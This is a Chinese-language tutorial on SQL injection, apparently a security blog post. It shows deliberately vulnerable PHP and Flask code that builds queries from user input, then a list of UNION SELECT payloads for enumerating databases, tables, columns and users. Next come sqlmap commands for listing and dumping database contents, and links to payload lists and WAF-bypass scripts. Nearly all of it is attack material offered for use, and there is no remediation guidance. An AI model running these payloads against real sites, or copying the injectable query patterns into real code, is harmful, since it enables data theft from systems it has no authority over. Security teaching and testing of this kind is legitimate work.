sqli
简谈一下 sql 注入漏洞吧,sql 注入的原理很简单和正常查询一样,只不过我们是在外部通过非正常手段执行了 sql 命令,正常是在数据库管理工具进行,增删改查等操作,而我们通过在 web 端 ,控制某传参将变量恶意修改并拼接在内部的查询语句中从而造成注入漏洞。
example 脆弱代码示例
php weak code
<?php
$servername = "localhost";
$username = "username";
$password = "password";
$dbname = "database";
$conn = new mysqli($servername, $username, $password, $dbname);
$user_input = $_GET['id']; // 用户输入
// 不安全的 SQL 查询
$sql = "SELECT * FROM users WHERE id = '$user_input'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while ($row = $result->fetch_assoc()) {
echo "Name: " . $row["name"];
}
} else {
echo "0 results";
}
$conn->close();
?>
这段代码 用户传入 参数 ?id=1
可控变量,这里数字1是可控的那么我们就可
拼接我们的恶意传参 1 UNION SELECT database(); --
# 查询数据库名称
SELECT * FROM users WHERE id = '1 UNION SELECT database(); --'
以下是一些常用的 SQL 注入负载,用于查找数据库、表和字段的信息:
查找数据库名
1 UNION SELECT database(); --
查找所有数据库名
1 UNION SELECT schema_name FROM information_schema.schemata; --
查找所有表名
1 UNION SELECT table_name FROM information_schema.tables WHERE table_schema = database(); --
查找特定表的所有字段
1 UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'your_table_name'; --
查找所有字段及其数据类型
1 UNION SELECT column_name, data_type FROM information_schema.columns WHERE table_name = 'your_table_name'; --
查找表的主键
1 UNION SELECT column_name FROM information_schema.key_column_usage WHERE table_name = 'your_table_name'; --
获取数据库用户信息
1 UNION SELECT user(), version(); --
python weak code
from flask import Flask, request
import sqlite3
app = Flask(__name__)
def get_db_connection():
conn = sqlite3.connect('database.db')
conn.row_factory = sqlite3.Row
return conn
@app.route('/user/<id>')
def get_user(id):
conn = get_db_connection()
# 不安全的 SQL 查询
sql = f'SELECT * FROM users WHERE id = {id}'
user = conn.execute(sql).fetchone()
conn.close()
if user is None:
return 'User not found!'
return f'Name: {user["name"]}'
if __name__ == '__main__':
app.run()
poc
有效载荷 进行测试
payloads
https://github.com/payloadbox/sql-injection-payload-list
tools
https://github.com/sqlmapproject/sqlmap
# 将发送的数据包拦截 存放到 req.txt, --is-dba 查看是否是管理员权限
sqlmap -r req.txt --is-dba --batch --thread=5 --risk=2--level=3
以下是一些常用的 sqlmap 命令和参数,用于进行 SQL 注入测试:
基本用法
sqlmap -u "http://target.com/page.php?id=1"
指定数据库
列出所有数据库名称
sqlmap -u "http://target.com/page.php?id=1" --dbs
获取所有表
指定数据库名称 获取该库中的所有表
sqlmap -u "http://target.com/page.php?id=1" --tables -D database_name
获取特定表的所有字段
sqlmap -u "http://target.com/page.php?id=1" --columns -D database_name -T table_name
获取数据
sqlmap -u "http://target.com/page.php?id=1" --dump -D database_name -T table_name
使用 POST 请求
sqlmap -u "http://target.com/page.php" --data "param1=value1¶m2=value2"
代理设置
sqlmap -u "http://target.com/page.php?id=1" --proxy "http://127.0.0.1:8080"
自动化模式
sqlmap -u "http://target.com/page.php?id=1" --batch
bypass
sqlmap 自带 tamper 可以绕过一些简单的没有设防,或是过滤规则不全的注入点
https://github.com/sqlmapproject/sqlmap/tree/master/tamper
针对一些云锁的自动绕过脚本,可做学习参考使用
https://github.com/pureqh/bypasswaf
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。与我联系email c2VjaW5mby5tQGdtYWlsLmNvbQo=